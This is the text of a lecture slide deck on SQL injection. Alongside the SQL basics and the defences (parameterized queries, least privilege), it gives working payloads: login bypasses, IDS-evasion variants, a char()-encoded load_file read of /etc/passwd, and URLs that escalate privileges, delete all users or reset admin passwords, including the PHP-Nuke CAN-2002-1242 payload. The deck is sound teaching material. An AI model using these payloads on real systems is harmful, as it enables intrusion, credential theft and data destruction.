1. 1
1
SQL Injection
The ability to inject SQL commands into
the database engine through an existing
application
2
What is SQL?
SQL stands for Structured Query Language
Allows us to access a database
ANSI and ISO standard computer language
The most current standard is SQL99
SQL can:
execute queries against a database
retrieve data from a database
insert new records in a database
delete records from a database
update records in a database
2. 2
3
SQL is a Standard - but...
There are many different versions of the
SQL language
They support the same major keywords in a
similar manner (such as SELECT, UPDATE,
DELETE, INSERT, WHERE, and others).
Most of the SQL database programs also
have their own proprietary extensions in
addition to the SQL standard!
4
SQL Database Tables
A relational database contains one or more tables
identified each by a name
Tables contain records (rows) with data
For example, the following table is called "users" and
contains data distributed in rows and columns:
dthompsondthompsonThompsonDaniel3
qwertyadamtTaylorAdam2
hellojsmithSmithJohn1
PasswordLoginLastNameNameuserID
3. 3
5
SQL Queries
With SQL, we can query a database and
have a result set returned
Using the previous table, a query like this:
SELECT LastName
FROM users
WHERE UserID = 1;
Gives a result set like this:
LastName
--------------
Smith
6
Data Manipulation Language
(DML)
SQL includes a syntax to update,
insert, and delete records:
SELECT - extracts data
UPDATE - updates data
INSERT INTO - inserts new data
DELETE - deletes data
4. 4
7
Data Definition Language
(DDL)
The Data Definition Language (DDL) part of SQL
permits:
Database tables to be created or deleted
Define indexes (keys)
Specify links between tables
Impose constraints between database tables
Some of the most commonly used DDL statements
in SQL are:
CREATE TABLE - creates a new database table
ALTER TABLE - alters (changes) a database table
DROP TABLE - deletes a database table
8
Metadata
Almost all SQL databases are based on
the RDBM (Relational Database Model)
One important fact for SQL Injection
Amongst Codd's 12 rules for a Truly Relational
Database System:
4. Metadata (data about the database) must be stored
in the database just as regular data is
Therefore, database structure can also be
read and altered with SQL queries
5. 5
9
How common is SQL injection?
It is probably the most common Website
vulnerability today
It is a flaw in "web application" development,
it is not a Database or web server problem
Most programmers are still not aware of this problem
Many tutorials and demo “templates” are vulnerable
Even worse, a lot of solutions posted on the Internet are
not good enough
10
Vulnerable Applications
Almost all SQL databases and programming languages are
potentially vulnerable
MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access,
Sybase, Informix, etc
Accessed through applications developed using:
Perl and CGI scripts that access databases
ASP, JSP, PHP
XML, XSL and XSQL
Javascript
VB, MFC, and other ODBC-based tools and APIs
DB specific Web-based applications and API’s
Reports and DB Applications
3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
many more
6. 6
11
How does SQL Injection work?
Common vulnerable login query
SELECT * FROM users
WHERE login = 'victor'
AND password = '123'
(If it returns something then login!)
ASP/MS SQL Server login syntax
var sql = "SELECT * FROM users
WHERE login = '" + formusr + "'
AND password = '" + formpwd + "'";
12
Injecting through Strings
formusr = ' or 1=1 – –
formpwd = anything
Final query would look like this:
SELECT * FROM users
WHERE username = ' ' or 1=1
– – AND password = 'anything'
7. 7
13
The power of '
It closes the string parameter
Everything after is considered part of the
SQL command
Misleading Internet suggestions include:
Escape it : replace ' with ''
String fields are very common but there
are other types of fields:
Numeric
Dates
14
If it were numeric?
SELECT * FROM clients
WHERE account = 12345678
AND pin = 1111
PHP/MySQL login syntax
$sql = "SELECT * FROM clients WHERE " .
"account = $formacct AND " .
"pin = $formpin";
8. 8
15
Injecting Numeric Fields
$formacct = 1 or 1=1 #
$formpin = 1111
Final query would look like this:
SELECT * FROM clients
WHERE account = 1 or 1=1
# AND pin = 1111
16
Evasion Techniques
Input validation circumvention and IDS
Evasion techniques are very similar
Snort based detection of SQL Injection is
partially possible but relies on "signatures"
Signatures can be evaded easily
Input validation, IDS detection AND
strong database and OS hardening must be
used together
9. 9
17
IDS Signature Evasion
Evading ' OR 1=1 signature
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' IN ('whatever')
' OR 2 BETWEEN 1 AND 3
18
SQL Injection Characters
' or " character String Indicators
-- or # single-line comment
/*…*/ multiple-line comment
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator
?Param1=foo&Param2=bar URL Parameters
PRINT useful as non transactional command
@variable local variable
@@variable global variable
waitfor delay '0:0:10' time delay
10. 10
19
Input validation
Some people use PHP addslashes() function
to escape characters
single quote (')
double quote (")
backslash ()
NUL (the NULL byte)
This can be easily evaded by using
replacements for any of the previous
characters in a numeric field
20
Evasion and Circumvention
IDS and input validation can be
circumvented by encoding
Some ways of encoding parameters
URL encoding
Unicode/UTF-8
Hex enconding
char() function
11. 11
21
MySQL Input Validation
Circumvention using Char()
Inject without quotes (string = "%"):
' or username like char(37);
Inject without quotes (string = "root"):
' union select * from users where login = char(114,111,111,116);
Load files in unions (string = "/etc/passwd"):
' union select 1,
(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"):
' and 1=( if(
(load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
22
IDS Signature Evasion using
white spaces
UNION SELECT signature is different to
UNION SELECT
Tab, carriage return, linefeed or several
white spaces may be used
Dropping spaces might work even better
'OR'1'='1' (with no spaces) is correctly
interpreted by some of the friendlier SQL
databases
12. 12
23
IDS Signature Evasion using
comments
Some IDS are not tricked by white spaces
Using comments is the best alternative
/* … */ is used in SQL99 to delimit multirow
comments
UNION/**/SELECT/**/
'/**/OR/**/1/**/=/**/1
This also allows to spread the injection through
multiple fields
USERNAME: ' or 1/*
PASSWORD: */ =1 --
24
IDS Signature Evasion using
string concatenation
In MySQL it is possible to separate
instructions with comments
UNI/**/ON SEL/**/ECT
Or you can concatenate text and use a DB
specific instruction to execute
Oracle
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
MS SQL
'; EXEC ('SEL' + 'ECT US' + 'ER')
13. 13
25
SQL injection
SQL uses single and double quotes to
switch between data and code.
Semi-colons separate SQL statements
Example query:
"UPDATE users
SET prefcolor='red'
WHERE uid='joe';"
This command could be sent from a web
front-end to a database engine.
The database engine then interprets the
command
26
Dynamic SQL Generation
Web applications dynamically generate the necessary
database commands by manipulating strings
Example query generation:
$q = "UPDATE users
SET prefcolor='$INPUT[color]'
WHERE uid='$auth_user'";
where the value of "$INPUT[color]" would be
originating from the client web browser, through the
web server.
and where the value for "$auth_user" would have
been stored on the server and verified through some
authentication scheme
14. 14
27
Client Web Browser
Forms in client browsers return values to the web
server through either the POST or GET methods
"GET" results in a url with a "?" before the values of
the form variables are specified:
http://www.example.com/script?color=red
The value of "$INPUT[color]" is set to "red" in the script
"GET" urls are convenient to hack, but there is no
significant difference in the security of either "GET"
or "POST" methods because the data comes from the
client web browser and is under the control of the
remote attacker
28
The SQL Table
Tables are used to store information in fields
(columns) in relation to a key (e.g., "uid")
What other fields could be of interest?
CREATE TABLE users (
prefcolor varchar(20),
uid VARCHAR(20) NOT NULL,
privilege ENUM('normal','administrator'),
PRIMARY KEY (uid)
);
15. 15
29
A Malicious SQL Query
What if we could make the web server generate
a query like:
"UPDATE users
SET prefcolor='red',
privilege='administrator'
WHERE uid='joe';"
Can we engineer the value of "color" given to
the web server so it generates this query?
Note how code and data are mixed in the same
channel
Better database interfaces provide separate channels
Java prepared statements
Stored procedures
30
Malicious HTTP Request
http://www.example.com/script?color
=red',privilege='administrator
The "color" input is then substituted to
generate SQL:
$q = "UPDATE users
SET prefcolor='$INPUT[color]'
WHERE uid='$auth_user'";
It gives the query we wanted!
Joe now has administrator privileges
16. 16
31
Adding Another SQL Query
Suppose that Joe wants to run a
completely different query:
"DELETE FROM users"
This will delete all entries in the table!
How can the value of "color" be
engineered?
32
Malicious HTTP Request
http://www.example.com/script?color=red
'%3Bdelete+from+users%3B
%3B is the url encoding for ";"
What happens when the "color" input is
used to generate SQL?
$q = "UPDATE users
SET prefcolor='$INPUT[color]'
WHERE uid='$auth_user'";
17. 17
33
Result
UPDATE users
SET prefcolor='red';
delete from users;
WHERE uid='$auth_user'";
The last line generates an error, but it is
already too late; all entries have been
deleted.
The middle query could have been anything
34
FAQs
Couldn't the database have a separate account
for "Joe" with only the privileges he needs (e.g.,
no delete privilege)?
YES, but in practice the management of such accounts
and privileges, and connecting to the database with
the correct IDs, adds significant complexity
Most often a database account is created for the entire web
application, with appropriate limitations (e.g., without
privileges to create and drop tables)
A good compromise is to create database accounts for each
class of user or class of operation, so:
if Joe is a regular user he would not have delete privileges for
the user table
Changing user preferences, as an operation type, does not
require delete privileges
18. 18
35
FAQs
Doesn't SSL protect against this sort of
attack?
No
But what if you authenticate users with a
username/password over SSL? Then, if the
user does SQL injection, the server admins will
know who perpetrated the crime, right?
Not necessarily; only if you have sufficient audit
logging.
36
Another example of SQL
Injection
UPDATE usertable
SET pwd='$INPUT[pwd]'
WHERE uid='$INPUT[uid]';
This will modify a password stored in
“usertable”
19. 19
37
Malicious http request
Coupled to database engine without cleansing:
http://www.none.to/script?pwd=ngomo&
uid=1'+or+uid+like'%25admin%25';--%
This sets the variable pwd to ngomo
& is a separator
uid is set to “1' or uid like '%admin%';--%”
(% are wild cards, like *)
What happens when the SQL is interpreted?
38
Resulting SQL query
UPDATE usertable
SET pwd='ngomo'
WHERE uid='1’ or uid like‘%admin%’;--%';
The passwords of all accounts with “admin” in
their names have been reset to something only
the attacker knows (ngomo)!
20. 20
39
Other SQL Injection
Methods
Let's say you have blocked single
quotes, double quotes and semi-
colons.
What else can go wrong?
How about ""?
If an attacker can inject backslashes,
then escaped quotes could get ignored
by the database
40
PHP-Nuke 5.6 SQL injection
CAN-2002-1242
Advisory dated Oct. 31, 2002
Malicious url:
modules.php?name=Your_Account&op=saveu
ser&uid=2&bio=%5c&EditedMessage=
no&pass=xxxxx&vpass=xxxxx&newsletter=,
+pass=md5(1)/*
Recognize %5c? It’s ‘’
21. 21
41
Query becomes
UPDATE nuke_users
SET name = '',
email = '',
femail = '',
url = 'http://',
pass = 'xxxxx',
bio = '',
user_avatar = '',
user_icq = '',
user_msnm = '',
newsletter = ',
pass=md5(1)/*' WHERE uid='2'
Notice how bio would be set to the text in red?
Notice how the comment field, ‘/*’, is used to comment out
the userid? This means that the query applies to *all*
users!
42
Defense: Escape control characters
UPDATE nuke_users
SET name = '',
email = '',
femail = '',
url = 'http://',
pass = 'xxxxx',
bio = '',
user_avatar = '',
user_icq = '',
user_msnm = '',
newsletter = ', pass=md5(1)/*'
WHERE uid='2'
In this case, all the attacker manages to do is to set his
“newsletter” field to some strange looking string.
PHP can do that automatically if configured that way.
22. 22
43
Double whammy:
SQL injection and Buffer Overflow
Oracle 8i and 9i include six standard Oracle database
functions
BFILENAME
FROM_TZ
NUMTODSINTERVAL
NUMTOYMINTERVAL
TO_TIMESTAMP_TZ
TZ_OFFSET
with buffer overflow vulnerability that may allow
attacker to gain root privileges (since, for example,
Oracle runs under administrator account in
Windows); in UNIX, only (!) the whole DB is
compromised.
44
Double whammy:
A legitimate use of the function
SELECT FROM_TZ(TIMESTAMP ‘2006-03-22
20:00:00’, ‘7:00’) FROM DUAL
returns
22-MAR-06 08:00:00 PM +7:00
What happens with
SELECT FROM_TZ(TIMESTAMP ‘2006-03-22
20:00:00’, ‘aaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa’) FROM DUAL
23. 23
45
Defending against SQL injections
Sanitize all input.
Assume all input is harmful.
Validate user input that contains dangerous keywords or
SQL characters, such as “xp_cmdshell”, “- -”, and “;”.
Consider using regular expressions to remove unwanted
characters. This approach is safer than writing your own
search and replace routines.
Run with least privilege.
Do not execute an SQL SELECT statement as “sa”. Create
low-privilege accounts to access data.
Use SQL permissions to lock down databases, stored
procedures, and tables.
Remove unused stored procedures.
46
Defending against SQL injections
Do not allow clients to view ODBC/OLE DB error
messages. Handle these errors with your own code.
By default, ASP pages returns error messages to
clients.
Enable logging of all user access, and set alerts to
log all failed attempts to access objects.
Do not use string concatenations to build SQL
queries. Instead, use parameterized queries or
parameterized stored procedures, because they
explicitly define input and output values and do not
process multiple statements as a batch.
24. 24
47
Back to a previous example
var sql = "SELECT * FROM users
WHERE login = '" + formusr + "'
AND password = '" + formpwd + "'";
is replaced by
SqlConnection objConnection=new SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand( "SELECT * FROM User WHERE
login = @Name AND password = @Password", objConnection);
objCommand.Parameters.Add("@Name", NameTextBox.Text);
objCommand.Parameters.Add("@Password", PasswordTextBox.Text);
SqlDataReader objReader = objCommand.ExecuteReader();
if (objReader.Read())
{ ...
Why is it safer? Because the SQL server knows that the value of the
parameter is not actual code to execute, but data
48
Links
A lot of SQL Injection related papers
http://www.nextgenss.com/papers.htm
http://www.spidynamics.com/support/whitepapers/
http://www.appsecinc.com/techdocs/whitepapers.html
http://www.atstake.com/research/advisories
Other resources
http://www.owasp.org
http://www.sqlsecurity.com
http://www.securityfocus.com/infocus/1768